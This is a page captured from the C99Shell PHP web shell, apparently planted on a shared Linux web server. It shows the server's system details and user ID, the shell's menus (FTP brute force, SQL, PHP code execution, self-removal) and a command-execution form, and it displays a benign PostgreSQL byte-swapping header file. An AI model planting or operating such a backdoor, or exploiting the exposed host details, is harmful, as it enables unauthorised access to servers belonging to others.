!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/pgsql-9.6/include/server/port/   drwxr-xr-x
Free 6182.16 GB of 6263.36 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pg_bswap.h (2.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*-------------------------------------------------------------------------
 *
 * pg_bswap.h
 *      Byte swapping.
 *
 * Macros for reversing the byte order of 32-bit and 64-bit unsigned integers.
 * For example, 0xAABBCCDD becomes 0xDDCCBBAA.  These are just wrappers for
 * built-in functions provided by the compiler where support exists.
 * Elsewhere, beware of multiple evaluations of the arguments!
 *
 * Note that the GCC built-in functions __builtin_bswap32() and
 * __builtin_bswap64() are documented as accepting single arguments of type
 * uint32_t and uint64_t respectively (these are also the respective return
 * types).  Use caution when using these wrapper macros with signed integers.
 *
 * Copyright (c) 2015-2016, PostgreSQL Global Development Group
 *
 * src/include/port/pg_bswap.h
 *
 *-------------------------------------------------------------------------
 */
#ifndef PG_BSWAP_H
#define PG_BSWAP_H

#ifdef HAVE__BUILTIN_BSWAP32
#define BSWAP32(x) __builtin_bswap32(x)
#else
#define BSWAP32(x) ((((x) << 24) & 0xff000000) | \
                    (((x) << 8)  & 0x00ff0000) | \
                    (((x) >> 8)  & 0x0000ff00) | \
                    (((x) >> 24) & 0x000000ff))
#endif   /* HAVE__BUILTIN_BSWAP32 */

#ifdef HAVE__BUILTIN_BSWAP64
#define BSWAP64(x) __builtin_bswap64(x)
#else
#define BSWAP64(x) ((((x) << 56) & UINT64CONST(0xff00000000000000)) | \
                    (((x) << 40) & UINT64CONST(0x00ff000000000000)) | \
                    (((x) << 24) & UINT64CONST(0x0000ff0000000000)) | \
                    (((x) << 8)  & UINT64CONST(0x000000ff00000000)) | \
                    (((x) >> 8)  & UINT64CONST(0x00000000ff000000)) | \
                    (((x) >> 24) & UINT64CONST(0x0000000000ff0000)) | \
                    (((x) >> 40) & UINT64CONST(0x000000000000ff00)) | \
                    (((x) >> 56) & UINT64CONST(0x00000000000000ff)))
#endif   /* HAVE__BUILTIN_BSWAP64 */

/*
 * Rearrange the bytes of a Datum from big-endian order into the native byte
 * order.  On big-endian machines, this does nothing at all.  Note that the C
 * type Datum is an unsigned integer type on all platforms.
 *
 * One possible application of the DatumBigEndianToNative() macro is to make
 * bitwise comparisons cheaper.  A simple 3-way comparison of Datums
 * transformed by the macro (based on native, unsigned comparisons) will return
 * the same result as a memcmp() of the corresponding original Datums, but can
 * be much cheaper.  It's generally safe to do this on big-endian systems
 * without any special transformation occurring first.
 */
#ifdef WORDS_BIGENDIAN
#define        DatumBigEndianToNative(x)    (x)
#else                            /* !WORDS_BIGENDIAN */
#if SIZEOF_DATUM == 8
#define        DatumBigEndianToNative(x)    BSWAP64(x)
#else                            /* SIZEOF_DATUM != 8 */
#define        DatumBigEndianToNative(x)    BSWAP32(x)
#endif   /* SIZEOF_DATUM == 8 */
#endif   /* WORDS_BIGENDIAN */

#endif   /* PG_BSWAP_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0113 ]--